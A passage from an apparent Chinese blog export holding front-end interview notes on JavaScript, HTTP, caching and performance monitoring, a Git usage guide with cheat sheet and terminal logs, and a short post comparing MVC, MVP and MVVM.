外的浏览器下都保持良好兼容性; 可获得焦点的元素: window 链接被点击或键盘操作 表单空间被点击或键盘操作 设置 tabindex 属性的元素被点击或键盘操作 mouseover/mouseout 与 mouseenter/mouseleave 的区别与联系? mouseover/mouseout 是冒泡事件;mouseenter/mouseleave 不冒泡。需要为多个元素监听鼠标移入/出事件时,推荐 mouseover/mouseout 托管,提高性能 函数内部 arguments 变量有哪些特性,有哪些属性,如何将它转换为数组 arguments 所有函数中都包含的一个局部变量,是一个类数组对象,对应函数调用时的实参。如果函数定义同名参数会在调用时覆盖默认对象 arguments[index]分别对应函数调用时的实参,并且通过 arguments 修改实参时会同时修改实参 arguments.length 为实参的个数(Function.length 表示形参长度) arguments.callee 为当前正在执行的函数本身,使用这个属性进行递归调用时需注意 this 的变化 arguments.caller 为调用当前函数的函数(已被遗弃) 转换为数组:var args = Array.prototype.slice.call(arguments, 0); 解释原型继承的工作原理所有的 js 对象都有一个 prototype 属性,指向它的原型对象。当试图访问一个对象,如果在该对象上没有找到,它还会搜寻该对象的原型,以及该对象的原型的原型,依次向上搜索,直到找到一个名称匹配的属性或到达原型链的末尾。 你觉得 jQuery 源码有哪些写的好的地方? jquery 源码封装在一个匿名函数的自执行环境中,有助于防止变量的全局污染,然后通过传入 window 对象参数,可以使 window 对象作为局部变量使用,好处是当 jquery 中访问 window 对象的时候,就不用将作用域链退回到顶层作用域了,从而可以更快的访问 window 对象。同样,传入 undefined 参数,可以缩短查找 undefined 时的作用域链 jquery 将一些原型属性和方法封装在了 jquery.prototype 中,为了缩短名称,又赋值给了 jquery.fn,这是很形象的写法 有一些数组或对象的方法经常能使用到,jQuery 将其保存为局部变量以提高访问速度 jquery 实现的链式调用可以节约代码,所返回的都是同一个对象,可以提高代码效率 ES6 相对 ES5 有哪些新特性?123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990新增let、const命令声明变量变量的解构赋值 |--数组的解构 |--对象的解构 |--字符串的解构 |--数值、布尔值的解构 |--函数参数的解构正则表达式的扩展 |--允许 new RegExp(/abc/, &apos;i&apos;) |--match()、replace()、search()和split()添加到RegExp实例方法 |--u修饰符,正确匹配四字节,UTF-16编码 |--y修饰符,从第一个位置开始匹配 |--sticky属性,表示是否设置了y修饰符 |--flags属性,返回正则修饰符 |--s修饰符,是.可以匹配任意单个字符 |--dotAll属性,表示是否设置了s修饰符 |--后行断言,/(?&lt;=y)x/,x在y的后面才匹配数值的扩展 |--二进制(0b或0B)和八进制(0o或0O) |--Number.isFinite(),Number.isNaN |--Number.parseInt(),Number.parseFloat() |--Number.isInteger() |--Number.EPSION |--Number.isSafeInteger() |--指数运算符(**)函数的扩展 |--函数默认值 |--rest参数 |--严格模式,不允许使用默认值、解构赋值、或者扩展运算符 |--name属性,构造函数name为anonymous,函数bind作用域后,name为bound name |--箭头函数 |--双冒号运算符,箭头函数可以绑定this对象 |--尾调用优化 |--函数参数的尾逗号数组的扩展 |--[...likeArr]扩展运算符 |--Array.from() |--Array.of() |--数组实例的copyWithin() |--数组实例的find()和findIndex() |--数组实例的fill() |--数组实例的entries(),keys()和values() |--数组实例的includes() |--数组的空位对象的扩展 |--属性的简洁表示法 &#123;foo&#125;表示&#123;foo:foo&#125; |--属性名表达式 &#123;[propKey]: true&#125; |--Object.is()解决 NaN!==NaN 和 +0===-0 问题 |--Object.assign() |--属性的遍历 |--Object.setPropertyOf()、Object.getPropertyOf() |--super关键字,指向对象的原型 |--Object.keys()、Object.values()、Object.entries() |--解构赋值 |--扩展运算符新增一种数据类型 Symbol |--遍历Object.getOwnPropertySymbols() |--Symbol.for()、Symbol.keyFor()Set和Map数据解构ProxyReflectPromise对象 |--Promise.prototype.then() |--Promise.prototype.catch() |--Promise.prototype.finally() |--Promise.all() |--Promise.race() |--Promise.resolve() |--Promise.reject()Iterator和for...of循环GeneratorasyncClassDecorator let 和 const 的特点 不会被提升 重复什么报错 不绑定全局作用域 提升页面性能的方法有哪些? 资源压缩合并,减少 HTTP 请求 非核心代码异步加载 追问:异步加载的方式?(1)动态脚本加载(2)defer(3)async追问:异步加载的区别?(1)defer是在 HTML 解析完后才执行,如果是多个,按照执行加载顺序依次执行(2)async是在加载完之后立即执行,如果是多个,执行顺序和加载顺序无关。 利用浏览器缓存 追问:缓存的分类,缓存的原理? 强缓存:不询问服务器直接用 服务器响应头Expires Expires: Thu,21 Jan… 这是个绝对时间,由于服务器和客户端有时差,后来在 HTTP/1.1 中就改成了 Cache-Control。Cache-Control Cache-Control:max-age=3600 这个是时长,从当前时间起缓存时长。 协商缓存:询问服务器当前缓存是否过期服务器下发 Last-Modified 浏览器请求 If-Modifield-Since Thu,21 Jan… 修改时间服务器下发 Etag 浏览器请求 If-None-Match 资源是否被改动过 使用 CDN 预解析 DNS &lt;a&gt;标签浏览器默认模式是预解析的,但是对于 https 是关闭的,需要在header中添加 12&lt;meta http-equip="x-dns-prefetch-control" content="on"&gt;&lt;link rel="dns-prefetch" href="//host_name_to_prefetch.com"&gt; 可参考 前端性能优化 24 条建议(2020) 错误监控 前端错误分类:(1)及时运行错误(2)资源加载错误 及时运行错误的捕获方式:(1)try..catch 捕获代码块运行错误;(2)window.onerror 捕获 js 运行错误,但是无法捕获静态资源异常和 js 代码错误;(3)unhandledrejection 捕获 Promise 错误;(4)React 的捕获错误 componentDidCatch;(5)Vue 的捕获错误 Vue.config.errorHandler; 资源加载错误: (1)object.onerror (2)performance.getEntries()获取成功加载资源的 api,对比一下现有资源,就可以知道失败加载的资源。 (3)Error 事件捕获 ps:资源加载错误不会冒泡到`body`上,但是捕获事件可以 123window.addEventListener('error', function(e) &#123; console.log(e);&#125;, true) 拓展:跨域错误可以捕获到吗?怎么处理错误? 属于资源加载错误,可以被捕获到。处理:在客户端,script 标签增加crossorigin属性,服务端增加 HTTP 响应头增加Access-Control-Allow-Origin:*/ 上报错误的基本原理(1)优先使用Navigator.sendBeacon,它通过 HTTP POST 将数据一步传输到服务器且不会影响页面卸载(2)用Ajax通信上报(3)用Image对象上报 1new Image().src = 'http://xxx.com/posterror?error=xxx' 检测卡顿和奔溃(1)卡顿是显示器刷新下一帧画面还没准备好,导致连续多次展示相同画面,从而让用户感知不流畅(丢帧),可以用 requestAnimationFrame 方法模拟实现,在浏览器下一次执行重绘之前执行 rAF 回调,可以通过每秒内 rAF 执行次数来计算 FPS。(2)奔溃时主线程被阻塞,对于奔溃的监控只能在独立于 JS 主线程的 Worker 线程中进行,Web Worker 心跳检测的方式对主线程进行探测。 性能监控 FP(First Paint):当前页面首次渲染的时间点,通常开始访问 Web 页面的时间点到 FP 的时间点的这段时间视为白屏时间,简单来说就是有屏幕中像素点开始渲染的时刻为 FP。 FCP(First Contentful Paint):当前页面首次有内容渲染的时间点,这里的内容通常指的是文本、图片、svg 或 canvas 元素。 12345678910function getPaintTimings() &#123; const &#123; performance &#125; = window if (performance) &#123; const paintEntries = performance.getEntriesByType('paint') return &#123; FP: paintEntries.find((entry) =&gt; entry.name === 'first-paint').startTime, FCP: paintEntries.find((entry) =&gt; entry.name === 'first-contentful-paint').startTime &#125; &#125;&#125; FMP(First Meaningful Paint):首次绘制有意义内容,在这个时刻,页面整体布局和文字内容全部渲染完成,用户能看到主要内容,产品通常也关注该指标。通过 MutationObserve 监听 document 整体的 DOM 变化,在回调计算之前 DOM 树的分数,分数变化最剧烈的时刻即为 FMP 的时间点。 LCP(Largest Contentful Paint):用于度量视口中最大的内容元素何时可见,可以用来确定页面的主要内容何时在屏幕上完成渲染。 123456const observer = new PerformanceObserver((entryList) =&gt; &#123; for (const entry of entryList.getEntries()) &#123; console.log('LCP Candidate: ', entry.startTime, entry) &#125;&#125;)observer.observe(&#123; type: 'largest-contentful-paint', buffered: true &#125;) TTI(Time To Interactive):从页面加载开始到页面处于完全可交互状态所花费的时间。 FID(First Input Delay):用户第一次与页面交互的延迟时间。 Lighthouse 几项重要指标:Performance(性能)、Accessibility(可访问性)、Best practices(最佳实践)、SEO 和 PWA。其中 Performance 指标矩阵由以下组成:FCP、TTI、LCP、Speed index 参考:深入浅出前端监控 哈希碰撞两个不同的 key 经过 hash 计算后,得到相同的 hash 值。解决方法:开放寻址法、再 hash 法和拉链法。开放寻址法:地址冲突,探测其他存储单元;再 hash 法:使用第二、三 hash 法;拉链法:每一格都是链表,冲突往后插;]]></content>
<categories>
<category>面试</category>
</categories>
<tags>
<tag>javascript</tag>
<tag>面试</tag>
</tags>
</entry>
<entry>
<title><![CDATA[前端面试]]></title>
<url>%2F2018%2F03%2F03%2Finterview%2F</url>
<content type="text"><![CDATA[task1:上下高度固定,中间自适应 css 盒模型标准模型、IE 模型 box-sizing:content-box/border-boxjs 如何获取盒模型的宽(或高)dom.style.widthdom.currentStyle.width –IEwindow.getComputedStyle(dom).widthdom.getBoundingClientRect().width 上下边界重叠,取最大值父子元素兄弟元素空元素(margin-top margin-bottom) DOM 事件DOM 事件捕获流程自定义事件 // 当一个元素注册几个事件时,只执行第一个event.stopImmediatePropagation() 数据类型转化规则已具体延伸 文章参考一 文章参考二 前端工程分析 FE-interview interview book http 协议类主要特点:简单快速、灵活、无连接和无状态 http 报文组成部分:请求报文、响应报文请求报文:请求行(方法、协议和版本)、请求头(key 和 value 值)、空行、请求体响应报文:响应行(协议、版本和状态码)、响应头(key 和 value 值)、空行、响应体 http 方法POST GET PUT(更新资源) DELETE(删除资源) HEAD(获取报文首部) GET 和 POST 的优缺点: GET 在浏览器回退时是无害的,而 POST 会再次提交请求 GET 产生 URL 地址可以收藏,而 POST 不可以 GET 请求会被浏览器主动缓存,而 POST 不会,除非收的那个设置 GET 请求值能进行 url 编码,而 POST 支持多种编码方式 GET 请求参数会被完整保留在浏览器历史记录里,而 POST 中的参数不会被保留 GET 请求在 URL 中传送的参数是有长度限制的,而 POST 没有限制 对参数的数据类型,GET 只接受 ASCII 字符,而 POST 没有限制 GET 比 POST 更不安全,因为参数直接暴露在 URL 上,所以不能用来传递敏感信息 GET 参数通过 URL 传递,POST 放在 Request body 中 1xx 指示信息-请求已接收,继续处理 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误 200 OK 206 客户端发送了一个带有 Range 头的 GET 请求,服务器完成了它 301 请求页面已经转移至新的 url 302 页面已经临时转移至新的 url 304 原来缓存的文档还可以继续使用 400 客户端请求有语法错误,不能被服务器理解 401 请求未授权 403 访问被禁止 404 资源不存在 500 服务发生不可预期的错误 503 请求完成,服务器临时过载或宕机 持久连接HTTP 协议采用“请求-应答”模式,当使用普通模式,即非 keep-alive 模式时,每个请求和服务器都要新建一个链接,完成后立即断开连接(HTTP 协议为无连接的协议) 当使用 keep-alive 模式(又称持久连接、连接重用)时,keep-alive 功能是客户端到服务器端的连接持续有效,当出校对服务器的后继请求时,keep-alive 功能避免了建立或者重新建立连接 管线化在使用持久连接的情况下,某个链接上消息的传递类似于请求 1 -&gt; x 响应 1 -&gt; 请求 2 -&gt; 响应 2 管线化,在持久连接的基础上,类似于请求 1 -&gt; 请求 2 -&gt; 响应 1 -&gt; 响应 2 管线化特点: 管线化机制通过持久化完成,仅 HTTP/1.1 支持 只有 GET 和 HEAD 请求可以进行管线化,而 POST 有所限制 管线化不会影响响应到来的顺序 服务器端支持管线化,并不要求服务器端也对响应进行管线化处理,只是要求对于管线化的请求不失败 遇到的问题:递归应用内存泄漏,原生对象和 DOM 对象相互引用导致内存泄漏 MVVM了解 MVVM 框架吗?用过 vue.js 聊 vue.js 有哪些优点,缺点? React 和 Vue 相似之处: 使用 Virtual DOM 提供了响应式(Reactive)和组件化(Composable)的视图组件 将注意力集中保持在和核心库,而将其他功能如路由和全局状态交给相关的库 不同之处: React 有更丰富的生态系统 React 在某个组件状态发生变化时,它会以该组件为根,重新渲染整个组件子树,而 Vue 自动追踪,精确知晓哪个组件需要被重渲染 React 渲染功能依靠 JSX,支持类型检查、编译器自动完成,linting,Vue 默认推荐的还是模板 CSS 作用域在 React 中是通过 CSS-in-JS 方案实现,Vue 设置样式的默认方法时单文件组件里类似 style 的标签 编写有本地渲染能力的 APP,React 有 React Native,比较成熟。Vue 有 Weex,还在快速发展中 收住优点,攒着下面说 对 MVVM 的认识1. 先聊一下 MVCMVC:Model(模型) View(视图) Controller(控制器),主要是基于分层的目的,让彼此的职责分开。 View 通过 Controller 和 Model 联系,Controller 是 View 和 Model 的协调者,view 和 Model 不直接联系,基本联系都是单向的。 2. 顺带提下 MVPMVP:是从 MVC 模式演变而来的,都是通过 Controller/Presenter 负责逻辑的处理+Model 提供数据+View 负责显示。 在 MVP 中,Presenter 完全把 View 和 Model 进行分离,主要的程序逻辑在 Presenter 里实现。并且,Presenter 和 View 是没有直接关联的,是通过定义好的接口进行交互,从而使得在变更 View 的时候可以保持 Presenter 不变。 3. 再聊聊 MVVNMVVM:Model + View + ViewModel,把 MVC 中的 Controller 和 MVP 中的 Presenter 改成 ViewModel view 的变化会自动更新到 ViewModel,ViewModel 的变化也会自动同步到 View 上显示。这种自动同步是因为 ViewModel 中的属性实现了 Observer,当属性变更时都能触发对应操作。 View 是 HTML 文本的 js 模板; ViewModel 是业务逻辑层(一切 js 可视业务逻辑,比如表单按钮提交,自定义事件的注册和处理逻辑都在 viewmodel 里面负责监控俩边的数据); Model 数据层,对数据的处理(与后台数据交互的增删改查) 提一下我熟悉的 MVVM 框架:vue.js,Vue.js 是一个构建数据驱动的 web 界面的渐进式框架。Vue.js 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件。核心是一个响应的数据绑定系统。 4. 一句话总结下不同之处MVC 中联系是单向的,MVP 中 P 和 V 通过接口交互,MVVM 的联系是双向的 双向数据绑定原理 Object.defineProperty 用法熟记于心 Object.defineProperty 与 Reflect.defineProperty 区别Reflect.defineProperty 返回的是 boolean 值 MVVM 设计模式这个回顾一下自己写的文章]]></content>
<categories>
<category>面试</category>
</categories>
<tags>
<tag>面试</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Git简记]]></title>
<url>%2F2018%2F02%2F27%2FGit%E7%AE%80%E8%AE%B0%2F</url>
<content type="text"><![CDATA[0. 前言最近有个项目比较赶,于是决定8个人一个并行完成,单独把项目拿出来用gitea管理,没人分一个模块开发,对应也给分支,效果不过,从中也帮助自己重新温习了一下git的使用,小记一下。 1. 安装和使用 在MAC上,安装homebrew,然后通过homebrew 安装Git。 在MAC上另一种安装方法,从AppStore安装Xcode,Xcode集成了Git,不过默认没有安装,你需要运行Xcode,选择菜单“Xcode”-&gt;“Preferences”,在弹出窗口中找到“Downloads”,选择“Command Line Tools”,点“Install”就可以完成安装了。 在Windows上,下载安装包,默认下一步,安装完成即可。 安装完后自报家门 12$ git config --global user.name &quot;wuwhs&quot;$ git config --global user.email &quot;email@example.com&quot; 创建版本库 初始化一个Git仓库,使用git init命令。添加文件到Git仓库,分两步: 第一步,使用命令git add &lt;file&gt;,注意,可反复多次使用,添加多个文件; 第二步,使用命令git commit,完成。 2. 时光穿梭 如果git status告诉你有文件被修改过,用git diff可以查看修改内容。 HEAD指向的版本就是当前版本,因此,Git允许我们在版本的历史之间穿梭,使用命令git reset --hard commit_id。 穿梭前,用git log可以查看提交历史,以便确定要回退到哪个版本。 要重返未来,用git reflog查看命令历史,以便确定要回到未来的哪个版本,git log --pretty=oneline --abbrev-commit在一行显示缩写提交号。 场景1:当你改乱了工作区某个文件的内容,想直接丢弃工作区的修改时,用命令git checkout -- file。 当你不但改乱了工作区某个文件的内容,还添加到了暂存区时,想丢弃修改,分两步,第一步用命令git reset HEAD file,就回到了场景1,第二步按场景1操作。 命令git rm用于删除一个文件。如果一个文件已经被提交到版本库,那么你永远不用担心误删,但是要小心,你只能恢复文件到最新版本,你会丢失最近一次提交后你修改的内容。 3. 远程仓库 创建SSH Key。$ ssh-keygen -t rsa -C &quot;youremail@example.com&quot;。 登陆GitHub,打开“Account settings”,“SSH Keys”页面。然后,点“Add SSH Key”,填上任意Title,在Key文本框里粘贴id_rsa.pub文件的内容。 要关联一个远程库,使用命令git remote add origin git@server-name:path/repo-name.git。 关联后,使用命令git push -u origin master第一次推送master分支的所有内容。 此后,每次本地提交后,只要有必要,就可以使用命令git push origin master推送最新修改。 要克隆一个仓库,首先必须知道仓库的地址,然后使用git clone命令克隆。 4. 分支管理 Git鼓励大量使用分支。 查看分支:git branch。 创建分支:git branch &lt;name&gt;。 切换分支:git checkout &lt;name&gt;。 创建+切换到当前分支:git checkout -b &lt;name&gt;。 合并某分支到当前分支:git merge &lt;name&gt;。 删除分支:git branch -d &lt;name&gt;。 当Git无法自动合并分支时,就必须首先剞劂冲突,解决冲突后,再提交,合并完成用git log --graph命令可以看到分支合并图。 合并分支时,加上--no-ff参数就可以用普通模式合并,合并后的历史有分支,能看出来曾经做过合并,而fash-forward合并就看不出来曾经做过合并。 当手头工作没有完成时,先把工作现场git stash一下,然后去修复bug,修复后,再git stash list查看历史stash,一是用git stash apply恢复,但恢复后,stash内容并不删除,你需要用git stash drop来删除;另一种方式是用git stash pop,恢复的同时把stash内容也删了。 查看远程库信息,使用git remote -v。 从本地推送分支,使用git push origin branch-name,如果失败,先用git pull抓取远程的新提交。 再本地创建和远程分支对应的分支,使用git checkout -b branch-name origin/branch-name,本地和远程分支的名称最好一致。 从远程抓取分支,使用git pull,如果有冲突,要先处理冲突。 5. 标签 命令git tag &lt;name&gt;用于新建一个标签,默认为HEAD,也可以指定一个commit id。 git tag -a &lt;tagname&gt; -m &quot;balabala...&quot;可以指定标签信息。 git tag -s &lt;tagname&gt; -m &quot;balabala...&quot;可以用PGP签名标签。 命令git tag可以查看所有标签。 命令git push origin &lt;tagname&gt;可以推送一个本地标签。 命令git push origin --tags可以推送全部未推送过的本地标签。 命令git tag -d &lt;tagname&gt;可以删除一个本地标签。 命令git push origin :refs/tags/&lt;tagname&gt;可以删除一个远程标签。 6. 举个应用栗子 最初在远程创建项目仓库有master和develp分支,参与开发人员先在自己一个文件夹下,调出git Bash,然后输入命令git init,再把仓库git clone下来 12345678910MINGW32 /d/appSoft/wampserver/wamp64/www$ git initInitialized empty Git repository in D:/appSoft/wampserver/wamp64/www/.git/MINGW32 /d/appSoft/wampserver/wamp64/www (master)$ git clone git@github.com:wuwhs/demo.gitCloning into &apos;demo&apos;...Warning: Permanently added the RSA host key for IP address &apos;13.229.188.59&apos; to the list of known hosts.warning: You appear to have cloned an empty repository.Checking connectivity... done. cd demo进入clone下载的目录里,用git branch develop在本地创建一个对应的develop分支 1234567891011121314MINGW32 /d/appSoft/wampserver/wamp64/www (master)$ cd demoMINGW32 /d/appSoft/wampserver/wamp64/www/demo (master)$ git branch* masterMINGW32 /d/appSoft/wampserver/wamp64/www/demo (master)$ git branch developMINGW32 /d/appSoft/wampserver/wamp64/www/demo (master)$ git branch develop* master 再次用git branch查看已经新建了一个develop分支 git checkout develop切换到当前develop分支 123MINGW32 /d/appSoft/wampserver/wamp64/www/demo (master)$ git checkout developSwitched to branch &apos;develop&apos; 用git pull origin develop:develop,即:git pull origin &lt;远程主机名&gt; &lt;远程分支名&gt;:&lt;本地分支名&gt;,当本地和远程分支名相同时,可以简写成一个,也就是git pull origin develop,拉取远程develop分支完成,然后开发人员就可以在这个分支上工作了 123456789101112MINGW32 /d/appSoft/wampserver/wamp64/www/demo (develop)$ git pull origin develop:developremote: Counting objects: 3, done.remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0Unpacking objects: 100% (3/3), done.From github.com:wuwhs/demo 7ff2cb0..7ab2842 develop -&gt; develop 7ff2cb0..7ab2842 develop -&gt; origin/developwarning: fetch updated the current branch head.fast-forwarding your working tree fromcommit 7ff2cb0627be357fa15db4e38e1bfe8fc820b8ec.Already up-to-date. 当一天了工作完成,要提交到远程分支,首先要拉取一下别人提交的代码,防止版本冲突 123456789101112MINGW32 /d/appSoft/wampserver/wamp64/www/demo (develop)$ git pullremote: Counting objects: 3, done.remote: Compressing objects: 100% (2/2), done.remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0Unpacking objects: 100% (3/3), done.From github.com:wuwhs/demo f848dc7..d696375 develop -&gt; origin/developUpdating f848dc7..d696375Fast-forward demo.txt | 2 ++ 1 file changed, 2 insertions(+) PS:直接偷懒pull可能会出现没有找到tracking的分支 1234567891011MINGW32 /d/appSoft/wampserver/wamp64/www/demo (develop)$ git pullThere is no tracking information for the current branch.Please specify which branch you want to merge with.See git-pull(1) for details.git pull &lt;remote&gt; &lt;branch&gt;If you wish to set tracking information for this branch you can do so with:git branch --set-upstream-to=origin/&lt;branch&gt; develop 这时候要手动添加一下对应分支依赖git branch --set-upstream-to=origin/&lt;branch&gt; develop 12345678910111213141516 MINGW32 /d/appSoft/wampserver/wamp64/www/demo (develop)$ git branch --set-upstream-to=origin/develop developBranch develop set up to track remote branch develop from origin.MINGW32 /d/appSoft/wampserver/wamp64/www/demo (develop)$ git pullremote: Counting objects: 3, done.remote: Compressing objects: 100% (2/2), done.remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0Unpacking objects: 100% (3/3), done.From github.com:wuwhs/demo f848dc7..d696375 develop -&gt; origin/developUpdating f848dc7..d696375Fast-forward demo.txt | 2 ++ 1 file changed, 2 insertions(+) 将本地分支提交到对应远程分支上,git push origin develop:develop,即:git push origin &lt;远程主机&gt;&lt;本地分支名&gt;:&lt;远程分支名&gt;,如果名称一样可以简写,也就是git push origin develop 12345678910MINGW32 /d/appSoft/wampserver/wamp64/www/demo (develop)$ git push origin develop:developCounting objects: 9, done.Delta compression using up to 4 threads.Compressing objects: 100% (5/5), done.Writing objects: 100% (9/9), 759 bytes | 0 bytes/s, done.Total 9 (delta 1), reused 0 (delta 0)remote: Resolving deltas: 100% (1/1), done.To git@github.com:wuwhs/demo.git d696375..3c00c0c develop -&gt; develop 项目测试OK了,本地分支合并到master分支上,要用到git merge &lt;branch&gt; 12345678910MINGW32 /d/appSoft/wampserver/wamp64/www/demo (develop)$ git checkout masterSwitched to branch &apos;master&apos;MINGW32 /d/appSoft/wampserver/wamp64/www/demo (master)$ git merge developUpdating c4d0377..3c00c0cFast-forward demo.txt | 9 +++++++++ 1 file changed, 9 insertions(+) 常用的操作就以上七步了,当然会有不同情形的应用。 7. 附录:git-cheat-sheet一般而言,常用的就是以上那些命令,有人专门的整理了一份比较全一点的文档git-cheat-sheet,方便查阅。 配置列出当前配置: 1$ git config --list 列出repository配置: 1$ git config --local --list 列出全局配置: 1$ git config --global --list 列出系统配置: 1$ git config --system --list 设置用户名: 1$ git config --global user.name &quot;[firstname lastname]&quot; 设置用户邮箱: 1$ git config --global user.email &quot;[valid-email]&quot; 设置git命令输出为彩色: 1$ git config --global color.ui auto 设置git使用的文本编辑器设: 1$ git config --global core.editor vi 配置文件Repository配置对应的配置文件路径[–local]: 1&lt;repo&gt;/.git/config 用户全局配置对应的配置文件路径[–global]: 1~/.gitconfig 系统配置对应的配置文件路径[–local]: 1/etc/gitconfig 创建复制一个已创建的仓库: 12# 通过 SSH$ git clone ssh://user@domain.com/repo.git 12#通过 HTTP$ git clone http://domain.com/user/repo.git 创建一个新的本地仓库: 1$ git init 本地修改显示工作路径下已修改的文件: 1$ git status 显示与上次提交版本文件的不同: 1$ git diff 把当前所有修改添加到下次提交中: 1$ git add . 把对某个文件的修改添加到下次提交中: 1$ git add -p &lt;file&gt; 提交本地的所有修改: 1$ git commit -a 提交之前已标记的变化: 1$ git commit 附加消息提交: 1$ git commit -m &apos;message here&apos; 提交,并将提交时间设置为之前的某个日期: 1git commit --date=&quot;`date --date=&apos;n day ago&apos;`&quot; -am &quot;Commit Message&quot; 修改上次提交(请勿修改已发布的提交记录!) 1$ git commit --amend 修改上次提交的committer date: 1GIT_COMMITTER_DATE=&quot;date&quot; git commit --amend 修改上次提交的author date: 1git commit --amend --date=&quot;date&quot; 把当前分支中未提交的修改移动到其他分支: 123git stashgit checkout branch2git stash pop 将 stashed changes 应用到当前分支: 1git stash apply 删除最新一次的 stashed changes: 1git stash drop 搜索从当前目录的所有文件中查找文本内容: 1$ git grep &quot;Hello&quot; 在某一版本中搜索文本: 1$ git grep &quot;Hello&quot; v2.5 提交历史从最新提交开始,显示所有的提交记录(显示hash, 作者信息,提交的标题和时间): 1$ git log 显示所有提交(仅显示提交的hash和message): 1$ git log --oneline 显示某个用户的所有提交: 1$ git log --author=&quot;username&quot; 显示某个文件的所有修改: 1$ git log -p &lt;file&gt; 仅显示远端分支与远端分支提交记录的差集: 1$ git log --oneline &lt;origin/master&gt;..&lt;remote/master&gt; --left-right 谁,在什么时间,修改了文件的什么内容: 1$ git blame &lt;file&gt; 显示reflog: 1$ git reflog show 删除reflog: 1$ git reflog delete 分支与标签列出所有的分支: 1$ git branch 列出所有的远端分支: 1$ git branch -r 切换分支: 1$ git checkout &lt;branch&gt; 创建并切换到新分支: 1$ git checkout -b &lt;branch&gt; 基于当前分支创建新分支: 1$ git branch &lt;new-branch&gt; 基于远程分支创建新的可追溯的分支: 1$ git branch --track &lt;new-branch&gt; &lt;remote-branch&gt; 删除本地分支: 1$ git branch -d &lt;branch&gt; 强制删除一个本地分支:将会丢失未合并的修改! 1$ git branch -D &lt;branch&gt; 给当前版本打标签: 1$ git tag &lt;tag-name&gt; 给当前版本打标签并附加消息: 1$ git tag -a &lt;tag-name&gt; 更新与发布列出当前配置的远程端: 1$ git remote -v 显示远程端的信息: 1$ git remote show &lt;remote&gt; 添加新的远程端: 1$ git remote add &lt;remote&gt; &lt;url&gt; 下载远程端版本,但不合并到HEAD中: 1$ git fetch &lt;remote&gt; 下载远程端版本,并自动与HEAD版本合并: 1$ git remote pull &lt;remote&gt; &lt;url&gt; 将远程端版本合并到本地版本中: 1$ git pull origin master 以rebase方式将远端分支与本地合并: 1git pull --rebase &lt;remote&gt; &lt;branch&gt; 将本地版本发布到远程端: 1$ git push remote &lt;remote&gt; &lt;branch&gt; 删除远程端分支: 123$ git push &lt;remote&gt; :&lt;branch&gt; (since Git v1.5.0)# orgit push &lt;remote&gt; --delete &lt;branch&gt; (since Git v1.7.0) 发布标签: 1$ git push --tags 合并与重置(Rebase)将分支合并到当前HEAD中: 1$ git merge &lt;branch&gt; 将当前HEAD版本重置到分支中:请勿重置已发布的提交! 1$ git rebase &lt;branch&gt; 退出重置: 1$ git rebase --abort 解决冲突后继续重置: 1$ git rebase --continue 使用配置好的merge tool 解决冲突: 1$ git mergetool 在编辑器中手动解决冲突后,标记文件为已解决冲突: 12$ git add &lt;resolved-file&gt;$ git rm &lt;resolved-file&gt; 合并提交: 1$ git rebase -i &lt;commit-just-before-first&gt; 把上面的内容替换为下面的内容: 原内容: 123pick &lt;commit_id&gt;pick &lt;commit_id2&gt;pick &lt;commit_id3&gt; 替换为: 123pick &lt;commit_id&gt;squash &lt;commit_id2&gt;squash &lt;commit_id3&gt; 撤销放弃工作目录下的所有修改: 1$ git reset --hard HEAD 移除缓存区的所有文件(i.e. 撤销上次git add): 1$ git reset HEAD 放弃某个文件的所有本地修改: 1$ git checkout HEAD &lt;file&gt; 重置一个提交(通过创建一个截然不同的新提交) 1$ git revert &lt;commit&gt; 将HEAD重置到指定的版本,并抛弃该版本之后的所有修改: 1$ git reset --hard &lt;commit&gt; 用远端分支强制覆盖本地分支: 1git reset --hard &lt;remote/branch&gt; e.g., upstream/master, origin/my-feature 将HEAD重置到上一次提交的版本,并将之后的修改标记为未添加到缓存区的修改: 1$ git reset &lt;commit&gt; 将HEAD重置到上一次提交的版本,并保留未提交的本地修改: 1$ git reset --keep &lt;commit&gt; 删除添加.gitignore文件前错误提交的文件: 123$ git rm -r --cached .$ git add .$ git commit -m &quot;remove xyz file&quot; 完~ 可参考文章: git-guide 廖雪峰git教程 git-scm Git Cheat Sheet 中文版]]></content>
<categories>
<category>git</category>
</categories>
<tags>
<tag>git</tag>
</tags>
</entry>
<entry>
<title><![CDATA[对MVC、MVP和MVVM的简单认识]]></title>
<url>%2F2017%2F12%2F07%2F%E5%AF%B9MVC%E3%80%81MVP%E5%92%8CMVVM%E7%9A%84%E7%AE%80%E5%8D%95%E8%AE%A4%E8%AF%86%2F</url>
<content type="text"><![CDATA[1. 先聊一下MVCMVC:Model(模型) View(视图) Controller(控制器),主要是基于分层的目的,让彼此的职责分开。 View通过Controller和Model联系,Controller是View和Model的协调者,view和Model不直接联系,基本联系都是单向的。 2. 顺带提下MVPMVP:是从MVC模式演变而来的,都是通过Controller/Presenter负责逻辑的处理+Model提供数据+View负责显示。 在MVP中,Presenter完全把View和Model进行分离,主要的程序逻辑在Presenter里实现。并且,Presenter和View是没有直接关联的,是通过定义好的接口进行交互,从而使得在变更View的时候可以保持Presenter不变。 3. 再聊聊MVVNMVVM:Model + View + ViewModel,把MVC中的Controller和MVP中的Presenter改成ViewModel view的变化会自动更新到ViewModel,ViewModel的变化也会自动同步到View上显示。这种自动同步是因为ViewModel中的属性实现了Observer,当属性变更时都能触发对应操作。 View 是HTML文本的js模板; ViewModel是业务逻辑层(一切js可视业务逻辑,比如表单按钮提交,自定义事件的注册和处理逻辑都在viewmodel里面负责监控俩边的数据); Model数据层,对数据的处理(与后台数据交互的增删改查) 提一下我熟悉的MVVM框架:vue.js,Vue.js是一个构建数据驱动的 web 界面的渐进式框架。Vue.js 的目标是通过尽可能简单的 API 实现响应的数据绑定和组合的视图组件。核心是一个响应的数据绑定系统。 4. 一句话总结下不同之处MVC中联系是单向的,MVP中P和V通过接口交互,MVVP的联系是双向的]]></content>
<categories>
<category>其它</category>
</categories>
<tags>
<tag>设计模式</tag>
</tags>
</entry>
<entry>
<title><![CDATA[原生富文本编辑器]]></title>
